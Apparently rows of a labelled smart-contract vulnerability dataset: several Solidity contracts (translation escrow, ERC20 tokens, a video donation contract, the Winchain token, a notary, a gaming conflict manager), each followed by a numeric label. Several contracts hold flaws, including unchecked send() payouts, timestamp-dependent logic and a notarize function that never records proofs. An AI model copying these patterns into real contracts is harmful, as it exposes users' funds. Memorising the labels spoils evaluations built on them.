uint256 private constant NOT_PAYABLE_VALUE = (2**256 - 2) / 2;
enum Status {Created, Assigned, AwaitingReview, DisputeCreated, Resolved}
enum Party {
None,
Translator,
Challenger
}
struct Task {
uint256 submissionTimeout;
uint256 minPrice;
uint256 maxPrice;
Status status;
uint256 lastInteraction;
address payable requester;
uint256 requesterDeposit;
uint256 sumDeposit;
address payable[3] parties;
uint256 disputeID;
Round[] rounds;
uint256 ruling;
}
struct Round {
uint256[3] paidFees;
bool[3] hasPaid;
uint256 feeRewards;
mapping(address => uint256[3]) contributions;
}
address public governor = msg.sender;
IArbitrator public immutable arbitrator;
bytes public arbitratorExtraData;
uint256 public reviewTimeout;
uint256 public translationMultiplier;
uint256 public challengeMultiplier;
uint256 public sharedStakeMultiplier;
uint256 public winnerStakeMultiplier;
uint256 public loserStakeMultiplier;
Task[] public tasks;
mapping(uint256 => uint256) public disputeIDtoTaskID;
event TaskCreated(uint256 indexed _taskID, address indexed _requester, uint256 _timestamp);
event TaskAssigned(uint256 indexed _taskID, address indexed _translator, uint256 _price, uint256 _timestamp);
event TranslationSubmitted(
uint256 indexed _taskID,
address indexed _translator,
string _translatedText,
uint256 _timestamp
);
event TranslationChallenged(uint256 indexed _taskID, address indexed _challenger, uint256 _timestamp);
event TaskResolved(uint256 indexed _taskID, string _reason, uint256 _timestamp);
event AppealContribution(uint256 indexed _taskID, Party _party, address indexed _contributor, uint256 _amount);
event HasPaidAppealFee(uint256 indexed _taskID, Party _party);
modifier onlyGovernor() {
require(msg.sender == governor, "Only governor is allowed to perform this.");
_;
}
constructor(
IArbitrator _arbitrator,
bytes memory _arbitratorExtraData,
uint256 _reviewTimeout,
uint256 _translationMultiplier,
uint256 _challengeMultiplier,
uint256 _sharedStakeMultiplier,
uint256 _winnerStakeMultiplier,
uint256 _loserStakeMultiplier
) public {
arbitrator = _arbitrator;
arbitratorExtraData = _arbitratorExtraData;
reviewTimeout = _reviewTimeout;
translationMultiplier = _translationMultiplier;
challengeMultiplier = _challengeMultiplier;
sharedStakeMultiplier = _sharedStakeMultiplier;
winnerStakeMultiplier = _winnerStakeMultiplier;
loserStakeMultiplier = _loserStakeMultiplier;
}
function changeGovernor(address _governor) public onlyGovernor {
governor = _governor;
}
function changeReviewTimeout(uint256 _reviewTimeout) public onlyGovernor {
reviewTimeout = _reviewTimeout;
}
function changeTranslationMultiplier(uint256 _translationMultiplier) public onlyGovernor {
translationMultiplier = _translationMultiplier;
}
function changeChallengeMultiplier(uint256 _challengeMultiplier) public onlyGovernor {
challengeMultiplier = _challengeMultiplier;
}
function changeSharedStakeMultiplier(uint256 _sharedStakeMultiplier) public onlyGovernor {
sharedStakeMultiplier = _sharedStakeMultiplier;
}
function changeWinnerStakeMultiplier(uint256 _winnerStakeMultiplier) public onlyGovernor {
winnerStakeMultiplier = _winnerStakeMultiplier;
}
function changeLoserStakeMultiplier(uint256 _loserStakeMultiplier) public onlyGovernor {
loserStakeMultiplier = _loserStakeMultiplier;
}
function createTask(
uint256 _deadline,
uint256 _minPrice,
string calldata _metaEvidence
) external payable returns (uint256 taskID) {
require(msg.value >= _minPrice, "Deposited value should be greater than or equal to the min price.");
require(_deadline > block.timestamp, "The deadline should be in the future.");
taskID = tasks.length;
Task storage task = tasks.push();
task.submissionTimeout = _deadline - block.timestamp;
task.minPrice = _minPrice;
task.maxPrice = msg.value;
task.lastInteraction = block.timestamp;
task.requester = msg.sender;
task.requesterDeposit = msg.value;
emit MetaEvidence(taskID, _metaEvidence);
emit TaskCreated(taskID, msg.sender, block.timestamp);
}
function assignTask(uint256 _taskID) external payable {
Task storage task = tasks[_taskID];
require(block.timestamp - task.lastInteraction <= task.submissionTimeout, "The deadline has already passed.");
uint256 price = task.minPrice +
((task.maxPrice - task.minPrice) * (block.timestamp - task.lastInteraction)) /
task.submissionTimeout;
uint256 arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData);
uint256 translatorDeposit = arbitrationCost.addCap((translationMultiplier.mulCap(price)) / MULTIPLIER_DIVISOR);
require(task.status == Status.Created, "Task has already been assigned or reimbursed.");
require(msg.value >= translatorDeposit, "Not enough ETH to reach the required deposit value.");
task.parties[uint256(Party.Translator)] = msg.sender;
task.status = Status.Assigned;
uint256 remainder = task.maxPrice - price;
task.requester.send(remainder);
task.requesterDeposit = price;
task.sumDeposit = translatorDeposit;
remainder = msg.value - translatorDeposit;
msg.sender.send(remainder);
emit TaskAssigned(_taskID, msg.sender, price, block.timestamp);
}
function submitTranslation(uint256 _taskID, string calldata _translation) external {
Task storage task = tasks[_taskID];
require(
task.status == Status.Assigned,
"The task is either not assigned or translation has already been submitted."
);
require(block.timestamp - task.lastInteraction <= task.submissionTimeout, "The deadline has already passed.");
require(
msg.sender == task.parties[uint256(Party.Translator)],
"Can't submit translation to a task that wasn't assigned to you."
);
task.status = Status.AwaitingReview;
task.lastInteraction = block.timestamp;
emit TranslationSubmitted(_taskID, msg.sender, _translation, block.timestamp);
}
function reimburseRequester(uint256 _taskID) external {
Task storage task = tasks[_taskID];
require(task.status < Status.AwaitingReview, "Can't reimburse if translation was submitted.");
require(
block.timestamp - task.lastInteraction > task.submissionTimeout,
"Can't reimburse if the deadline hasn't passed yet."
);
task.status = Status.Resolved;
uint256 amount = task.requesterDeposit + task.sumDeposit;
task.requester.send(amount);
task.requesterDeposit = 0;
task.sumDeposit = 0;
emit TaskResolved(_taskID, "requester-reimbursed", block.timestamp);
}
function acceptTranslation(uint256 _taskID) external {
Task storage task = tasks[_taskID];
require(task.status == Status.AwaitingReview, "The task is in the wrong status.");
require(block.timestamp - task.lastInteraction > reviewTimeout, "The review phase hasn't passed yet.");
task.status = Status.Resolved;
uint256 amount = task.requesterDeposit + task.sumDeposit;
task.parties[uint256(Party.Translator)].send(amount);
task.requesterDeposit = 0;
task.sumDeposit = 0;
emit TaskResolved(_taskID, "translation-accepted", block.timestamp);
}
function challengeTranslation(uint256 _taskID, string calldata _evidence) external payable {
Task storage task = tasks[_taskID];
uint256 arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData);
uint256 challengeDeposit = arbitrationCost.addCap(
(challengeMultiplier.mulCap(task.requesterDeposit)) / MULTIPLIER_DIVISOR
);
require(task.status == Status.AwaitingReview, "The task is in the wrong status.");
require(block.timestamp - task.lastInteraction <= reviewTimeout, "The review phase has already passed.");
require(msg.value >= challengeDeposit, "Not enough ETH to cover challenge deposit.");
task.status = Status.DisputeCreated;
task.parties[uint256(Party.Challenger)] = msg.sender;
task.disputeID = arbitrator.createDispute{value: arbitrationCost}(2, arbitratorExtraData);
disputeIDtoTaskID[task.disputeID] = _taskID;
task.rounds.push();
task.sumDeposit = task.sumDeposit.addCap(challengeDeposit).subCap(arbitrationCost);
uint256 remainder = msg.value - challengeDeposit;
msg.sender.send(remainder);
emit Dispute(arbitrator, task.disputeID, _taskID, _taskID);
emit TranslationChallenged(_taskID, msg.sender, block.timestamp);
if (bytes(_evidence).length > 0) emit Evidence(arbitrator, _taskID, msg.sender, _evidence);
}
function fundAppeal(uint256 _taskID, Party _side) external payable {
Task storage task = tasks[_taskID];
require(
_side == Party.Translator || _side == Party.Challenger,
"Recipient must be either the translator or challenger."
);
require(task.status == Status.DisputeCreated, "No dispute to appeal.");
require(
arbitrator.disputeStatus(task.disputeID) == IArbitrator.DisputeStatus.Appealable,
"Dispute is not appealable."
);
(uint256 appealPeriodStart, uint256 appealPeriodEnd) = arbitrator.appealPeriod(task.disputeID);
require(
block.timestamp >= appealPeriodStart && block.timestamp < appealPeriodEnd,
"Funding must be made within the appeal period."
);
uint256 winner = arbitrator.currentRuling(task.disputeID);
uint256 multiplier;
if (winner == uint256(_side)) {
multiplier = winnerStakeMultiplier;
} else if (winner == 0) {
multiplier = sharedStakeMultiplier;
} else {
require(
block.timestamp - appealPeriodStart < (appealPeriodEnd - appealPeriodStart) / 2,
"The loser must pay during the first half of the appeal period."
);
multiplier = loserStakeMultiplier;
}
Round storage round = task.rounds[task.rounds.length - 1];
require(!round.hasPaid[uint256(_side)], "Appeal fee has already been paid.");
uint256 appealCost = arbitrator.appealCost(task.disputeID, arbitratorExtraData);
uint256 totalCost = appealCost.addCap((appealCost.mulCap(multiplier)) / MULTIPLIER_DIVISOR);
uint256 contribution;
uint256 remainingETH;
(contribution, remainingETH) = calculateContribution(
msg.value,
totalCost.subCap(round.paidFees[uint256(_side)])
);
round.contributions[msg.sender][uint256(_side)] += contribution;
round.paidFees[uint256(_side)] += contribution;
emit AppealContribution(_taskID, _side, msg.sender, contribution);
if (round.paidFees[uint256(_side)] >= totalCost) {
round.hasPaid[uint256(_side)] = true;
round.feeRewards += round.paidFees[uint256(_side)];
emit HasPaidAppealFee(_taskID, _side);
}
msg.sender.send(remainingETH);
if (round.hasPaid[uint256(Party.Translator)] && round.hasPaid[uint256(Party.Challenger)]) {
arbitrator.appeal{value: appealCost}(task.disputeID, arbitratorExtraData);
task.rounds.push();
round.feeRewards = round.feeRewards.subCap(appealCost);
}
}
function calculateContribution(uint256 _available, uint256 _requiredAmount)
internal
pure
returns (uint256 taken, uint256 remainder)
{
if (_requiredAmount > _available) return (_available, 0);
remainder = _available - _requiredAmount;
return (_requiredAmount, remainder);
}
function withdrawFeesAndRewards(
address payable _beneficiary,
uint256 _taskID,
uint256 _round
) public {
Task storage task = tasks[_taskID];
Round storage round = task.rounds[_round];
require(task.status == Status.Resolved, "The task should be resolved.");
uint256 reward;
if (!round.hasPaid[uint256(Party.Translator)] || !round.hasPaid[uint256(Party.Challenger)]) {
reward =
round.contributions[_beneficiary][uint256(Party.Translator)] +
round.contributions[_beneficiary][uint256(Party.Challenger)];
round.contributions[_beneficiary][uint256(Party.Translator)] = 0;
round.contributions[_beneficiary][uint256(Party.Challenger)] = 0;
} else if (task.ruling == uint256(Party.None)) {
uint256 rewardTranslator = round.paidFees[uint256(Party.Translator)] > 0
? (round.contributions[_beneficiary][uint256(Party.Translator)] * round.feeRewards) /
(round.paidFees[uint256(Party.Translator)] + round.paidFees[uint256(Party.Challenger)])
: 0;
uint256 rewardChallenger = round.paidFees[uint256(Party.Challenger)] > 0
? (round.contributions[_beneficiary][uint256(Party.Challenger)] * round.feeRewards) /
(round.paidFees[uint256(Party.Translator)] + round.paidFees[uint256(Party.Challenger)])
: 0;
reward = rewardTranslator + rewardChallenger;
round.contributions[_beneficiary][uint256(Party.Translator)] = 0;
round.contributions[_beneficiary][uint256(Party.Challenger)] = 0;
} else {
reward = round.paidFees[task.ruling] > 0
? (round.contributions[_beneficiary][task.ruling] * round.feeRewards) / round.paidFees[task.ruling]
: 0;
round.contributions[_beneficiary][task.ruling] = 0;
}
_beneficiary.send(reward);
}
function batchRoundWithdraw(
address payable _beneficiary,
uint256 _taskID,
uint256 _cursor,
uint256 _count
) public {
Task storage task = tasks[_taskID];
for (uint256 i = _cursor; i < task.rounds.length && (_count == 0 || i < _cursor + _count); i++)
withdrawFeesAndRewards(_beneficiary, _taskID, i);
}
function rule(uint256 _disputeID, uint256 _ruling) external override {
Party resultRuling = Party(_ruling);
uint256 taskID = disputeIDtoTaskID[_disputeID];
Task storage task = tasks[taskID];
Round storage round = task.rounds[task.rounds.length - 1];
require(msg.sender == address(arbitrator), "Must be called by the arbitrator.");
require(task.status == Status.DisputeCreated, "The dispute has already been resolved.");
if (round.hasPaid[uint256(Party.Translator)] == true) resultRuling = Party.Translator;
else if (round.hasPaid[uint256(Party.Challenger)] == true) resultRuling = Party.Challenger;
emit Ruling(IArbitrator(msg.sender), _disputeID, uint256(resultRuling));
executeRuling(_disputeID, uint256(resultRuling));
}
function executeRuling(uint256 _disputeID, uint256 _ruling) internal {
uint256 taskID = disputeIDtoTaskID[_disputeID];
Task storage task = tasks[taskID];
task.status = Status.Resolved;
task.ruling = _ruling;
uint256 amount;
if (_ruling == uint256(Party.None)) {
task.requester.send(task.requesterDeposit);
amount = task.sumDeposit / 2;
task.parties[uint256(Party.Translator)].send(amount);
task.parties[uint256(Party.Challenger)].send(amount);
} else if (_ruling == uint256(Party.Translator)) {
amount = task.requesterDeposit + task.sumDeposit;
task.parties[uint256(Party.Translator)].send(amount);
} else {
task.requester.send(task.requesterDeposit);
task.parties[uint256(Party.Challenger)].send(task.sumDeposit);
}
task.requesterDeposit = 0;
task.sumDeposit = 0;
emit TaskResolved(taskID, "dispute-settled", block.timestamp);
}
function submitEvidence(uint256 _taskID, string calldata _evidence) external {
Task storage task = tasks[_taskID];
require(task.status != Status.Resolved, "The task must not already be resolved.");
emit Evidence(arbitrator, _taskID, msg.sender, _evidence);
}
function amountWithdrawable(uint256 _taskID, address payable _beneficiary) external view returns (uint256 total) {
Task storage task = tasks[_taskID];
if (task.status != Status.Resolved) return total;
for (uint256 i = 0; i < task.rounds.length; i++) {
Round storage round = task.rounds[i];
if (!round.hasPaid[uint256(Party.Translator)] || !round.hasPaid[uint256(Party.Challenger)]) {
total +=
round.contributions[_beneficiary][uint256(Party.Translator)] +
round.contributions[_beneficiary][uint256(Party.Challenger)];
} else if (task.ruling == uint256(Party.None)) {
uint256 rewardTranslator = round.paidFees[uint256(Party.Translator)] > 0
? (round.contributions[_beneficiary][uint256(Party.Translator)] * round.feeRewards) /
(round.paidFees[uint256(Party.Translator)] + round.paidFees[uint256(Party.Challenger)])
: 0;
uint256 rewardChallenger = round.paidFees[uint256(Party.Challenger)] > 0
? (round.contributions[_beneficiary][uint256(Party.Challenger)] * round.feeRewards) /
(round.paidFees[uint256(Party.Translator)] + round.paidFees[uint256(Party.Challenger)])
: 0;
total += rewardTranslator + rewardChallenger;
} else {
total += round.paidFees[uint256(task.ruling)] > 0
? (round.contributions[_beneficiary][uint256(task.ruling)] * round.feeRewards) /
round.paidFees[uint256(task.ruling)]
: 0;
}
}
return total;
}
function getDepositValue(uint256 _taskID) public view returns (uint256 deposit) {
Task storage task = tasks[_taskID];
if (block.timestamp - task.lastInteraction > task.submissionTimeout || task.status != Status.Created) {
deposit = NOT_PAYABLE_VALUE;
} else {
uint256 price = task.minPrice +
((task.maxPrice - task.minPrice) * (block.timestamp - task.lastInteraction)) /
task.submissionTimeout;
uint256 arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData);
deposit = arbitrationCost.addCap((translationMultiplier.mulCap(price)) / MULTIPLIER_DIVISOR);
}
}
function getChallengeValue(uint256 _taskID) public view returns (uint256 deposit) {
Task storage task = tasks[_taskID];
if (block.timestamp - task.lastInteraction > reviewTimeout || task.status != Status.AwaitingReview) {
deposit = NOT_PAYABLE_VALUE;
} else {
uint256 arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData);
deposit = arbitrationCost.addCap((challengeMultiplier.mulCap(task.requesterDeposit)) / MULTIPLIER_DIVISOR);
}
}
function getTaskPrice(uint256 _taskID) public view returns (uint256 price) {
Task storage task = tasks[_taskID];
if (block.timestamp - task.lastInteraction > task.submissionTimeout || task.status != Status.Created) {
price = 0;
} else {
price =
task.minPrice +
((task.maxPrice - task.minPrice) * (block.timestamp - task.lastInteraction)) /
task.submissionTimeout;
}
}
function getTaskCount() public view returns (uint256) {
return tasks.length;
}
function getNumberOfRounds(uint256 _taskID) public view returns (uint256) {
Task storage task = tasks[_taskID];
return task.rounds.length;
}
function getContributions(
uint256 _taskID,
uint256 _round,
address _contributor
) public view returns (uint256[3] memory contributions) {
Task storage task = tasks[_taskID];
Round storage round = task.rounds[_round];
contributions = round.contributions[_contributor];
}
function getTaskParties(uint256 _taskID) public view returns (address payable[3] memory parties) {
Task storage task = tasks[_taskID];
parties = task.parties;
}
function getRoundInfo(uint256 _taskID, uint256 _round)
public
view
returns (
uint256[3] memory paidFees,
bool[3] memory hasPaid,
uint256 feeRewards
)
{
Task storage task = tasks[_taskID];
Round storage round = task.rounds[_round];
return (round.paidFees, round.hasPaid, round.feeRewards);
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
abstract contract ERC20Burnable is Context, ERC20 {
using SafeMath for uint256;
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
}
contract ERC20Mock is ERC20, ERC20Burnable {
constructor(address initialAccount, uint256 initialBalance) ERC20("MockToken", "MCT") {
_mint(initialAccount, initialBalance);
}
} | 0 | 1,633 |
pragma solidity ^0.5.1;
contract Owned {
modifier onlyOwner() {
require(msg.sender==owner);
_;
}
address payable owner;
address payable newOwner;
function changeOwner(address payable _newOwner) public onlyOwner {
newOwner=_newOwner;
}
function acceptOwnership() public {
if (msg.sender==newOwner) {
owner=newOwner;
}
}
}
contract ERC20 {
function balanceOf(address _owner) view public returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract UnlockVideo is Owned{
uint256 add;
uint8 fee;
uint8 bonus;
address token;
mapping (address=>uint256) donates;
mapping (bytes32=>address) videos;
mapping (address=>uint256) balances;
event Donate(address indexed _owner, uint256 _amount);
constructor() public{
add = 5000000000000000;
fee = 2;
bonus = 10;
token = 0xCD8aAC9972dc4Ddc48d700bc0710C0f5223fBCfa;
owner = msg.sender;
}
function addVideo(bytes32 _id) public returns (bool success){
require (videos[_id]==address(0x0) && balances[msg.sender]>=add);
videos[_id] = msg.sender;
balances[msg.sender] -= add;
if (ERC20(token).balanceOf(address(this))>=bonus) ERC20(token).transfer(msg.sender, bonus);
owner.transfer(add);
return true;
}
function changeDonate(uint256 _donate) public returns (bool success){
require(_donate>0);
donates[msg.sender] = _donate;
return true;
}
function donateVideo(bytes32 _id) public returns (bool success){
require(videos[_id]!=address(0x0) && balances[msg.sender]>=donates[videos[_id]]);
balances[videos[_id]] += donates[videos[_id]];
balances[msg.sender] -= donates[videos[_id]];
if (ERC20(token).balanceOf(address(this))>=bonus) ERC20(token).transfer(msg.sender, bonus);
emit Donate(msg.sender, donates[videos[_id]]);
return true;
}
function changeAdd (uint256 _add) onlyOwner public returns (bool success){
require (_add>0);
add=_add;
return true;
}
function changeFee (uint8 _fee) onlyOwner public returns (bool success){
require (_fee>0);
fee=_fee;
return true;
}
function changeBonus (uint8 _bonus) onlyOwner public returns (bool success){
require (_bonus>0);
bonus=_bonus;
return true;
}
function getBalance(address _owner) view public returns (uint256 balance){
return balances[_owner];
}
function withdrawEth(uint256 _amount) public returns (bool success){
require(_amount>0 && balances[msg.sender]>=_amount);
uint256 deduct = _amount*fee/100;
owner.transfer(deduct);
msg.sender.transfer(_amount-deduct);
return true;
}
function () payable external {
require(msg.value>0);
uint256 deduct = msg.value*fee/100;
owner.transfer(deduct);
balances[msg.sender]+=msg.value-deduct;
}
} | 1 | 5,100 |
contract ERC20Token {
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMathLib {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0 && a > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a && c >= b);
return c;
}
}
contract StandardToken is ERC20Token {
using SafeMathLib for uint;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_value > 0 && balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value > 0 && balances[_from] >= _value);
require(allowed[_from][msg.sender] >= _value);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Winchain is StandardToken, Ownable {
using SafeMathLib for uint256;
uint256 INTERVAL_TIME = 63072000;
uint256 public deadlineToFreedTeamPool;
string public name = "Winchain";
string public symbol = "WIN";
uint256 public decimals = 18;
uint256 public INITIAL_SUPPLY = (210) * (10 ** 8) * (10 ** 18);
uint256 winPoolForSecondStage;
uint256 winPoolForThirdStage;
uint256 winPoolToTeam;
uint256 winPoolToWinSystem;
event Freed(address indexed owner, uint256 value);
function Winchain(){
totalSupply = INITIAL_SUPPLY;
deadlineToFreedTeamPool = INTERVAL_TIME.add(block.timestamp);
uint256 peerSupply = totalSupply.div(100);
balances[msg.sender] = peerSupply.mul(30);
winPoolForSecondStage = peerSupply.mul(15);
winPoolForThirdStage = peerSupply.mul(20);
winPoolToTeam = peerSupply.mul(15);
winPoolToWinSystem = peerSupply.mul(20);
}
function balanceWinPoolForSecondStage() public constant returns (uint256 remaining) {
return winPoolForSecondStage;
}
function freedWinPoolForSecondStage() onlyOwner returns (bool success) {
require(winPoolForSecondStage > 0);
require(balances[msg.sender].add(winPoolForSecondStage) >= balances[msg.sender]
&& balances[msg.sender].add(winPoolForSecondStage) >= winPoolForSecondStage);
balances[msg.sender] = balances[msg.sender].add(winPoolForSecondStage);
Freed(msg.sender, winPoolForSecondStage);
winPoolForSecondStage = 0;
return true;
}
function balanceWinPoolForThirdStage() public constant returns (uint256 remaining) {
return winPoolForThirdStage;
}
function freedWinPoolForThirdStage() onlyOwner returns (bool success) {
require(winPoolForThirdStage > 0);
require(balances[msg.sender].add(winPoolForThirdStage) >= balances[msg.sender]
&& balances[msg.sender].add(winPoolForThirdStage) >= winPoolForThirdStage);
balances[msg.sender] = balances[msg.sender].add(winPoolForThirdStage);
Freed(msg.sender, winPoolForThirdStage);
winPoolForThirdStage = 0;
return true;
}
function balanceWinPoolToTeam() public constant returns (uint256 remaining) {
return winPoolToTeam;
}
function freedWinPoolToTeam() onlyOwner returns (bool success) {
require(winPoolToTeam > 0);
require(balances[msg.sender].add(winPoolToTeam) >= balances[msg.sender]
&& balances[msg.sender].add(winPoolToTeam) >= winPoolToTeam);
require(block.timestamp >= deadlineToFreedTeamPool);
balances[msg.sender] = balances[msg.sender].add(winPoolToTeam);
Freed(msg.sender, winPoolToTeam);
winPoolToTeam = 0;
return true;
}
function balanceWinPoolToWinSystem() public constant returns (uint256 remaining) {
return winPoolToWinSystem;
}
function freedWinPoolToWinSystem() onlyOwner returns (bool success) {
require(winPoolToWinSystem > 0);
require(balances[msg.sender].add(winPoolToWinSystem) >= balances[msg.sender]
&& balances[msg.sender].add(winPoolToWinSystem) >= winPoolToWinSystem);
balances[msg.sender] = balances[msg.sender].add(winPoolToWinSystem);
Freed(msg.sender, winPoolToWinSystem);
winPoolToWinSystem = 0;
return true;
}
function() public payable {
revert();
}
} | 1 | 4,784 |
contract ProofOfExistence {
mapping (string => uint) private proofs;
function notarize(string sha256) {
bytes memory b_hash = bytes(sha256);
if ( b_hash.length == 64 ){
if ( proofs[sha256] != 0 ){
proofs[sha256] = block.timestamp;
}
}
}
function verify(string sha256) constant returns (uint) {
return proofs[sha256];
}
} | 1 | 3,925 |
pragma solidity ^0.4.24;
interface ConflictResolutionInterface {
function minHouseStake(uint activeGames) external pure returns(uint);
function maxBalance() external pure returns(int);
function isValidBet(uint8 _gameType, uint _betNum, uint _betValue) external pure returns(bool);
function endGameConflict(
uint8 _gameType,
uint _betNum,
uint _betValue,
int _balance,
uint _stake,
bytes32 _serverSeed,
bytes32 _playerSeed
)
external
view
returns(int);
function serverForceGameEnd(
uint8 gameType,
uint _betNum,
uint _betValue,
int _balance,
uint _stake,
uint _endInitiatedTime
)
external
view
returns(int);
function playerForceGameEnd(
uint8 _gameType,
uint _betNum,
uint _betValue,
int _balance,
uint _stake,
uint _endInitiatedTime
)
external
view
returns(int);
}
library MathUtil {
function abs(int _val) internal pure returns(uint) {
if (_val < 0) {
return uint(-_val);
} else {
return uint(_val);
}
}
function max(uint _val1, uint _val2) internal pure returns(uint) {
return _val1 >= _val2 ? _val1 : _val2;
}
function min(uint _val1, uint _val2) internal pure returns(uint) {
return _val1 <= _val2 ? _val1 : _val2;
}
}
contract Ownable {
address public owner;
address public pendingOwner;
event LogOwnerShipTransferred(address indexed previousOwner, address indexed newOwner);
event LogOwnerShipTransferInitiated(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
constructor() public {
owner = msg.sender;
pendingOwner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
pendingOwner = _newOwner;
emit LogOwnerShipTransferInitiated(owner, _newOwner);
}
function claimOwnership() public onlyPendingOwner {
emit LogOwnerShipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract ConflictResolutionManager is Ownable {
ConflictResolutionInterface public conflictRes;
address public newConflictRes = 0;
uint public updateTime = 0;
uint public constant MIN_TIMEOUT = 3 days;
uint public constant MAX_TIMEOUT = 6 days;
event LogUpdatingConflictResolution(address newConflictResolutionAddress);
event LogUpdatedConflictResolution(address newConflictResolutionAddress);
constructor(address _conflictResAddress) public {
conflictRes = ConflictResolutionInterface(_conflictResAddress);
}
function updateConflictResolution(address _newConflictResAddress) public onlyOwner {
newConflictRes = _newConflictResAddress;
updateTime = block.timestamp;
emit LogUpdatingConflictResolution(_newConflictResAddress);
}
function activateConflictResolution() public onlyOwner {
require(newConflictRes != 0);
require(updateTime != 0);
require(updateTime + MIN_TIMEOUT <= block.timestamp && block.timestamp <= updateTime + MAX_TIMEOUT);
conflictRes = ConflictResolutionInterface(newConflictRes);
newConflictRes = 0;
updateTime = 0;
emit LogUpdatedConflictResolution(newConflictRes);
}
}
contract Pausable is Ownable {
bool public paused = false;
uint public timePaused = 0;
modifier onlyNotPaused() {
require(!paused);
_;
}
modifier onlyPaused() {
require(paused);
_;
}
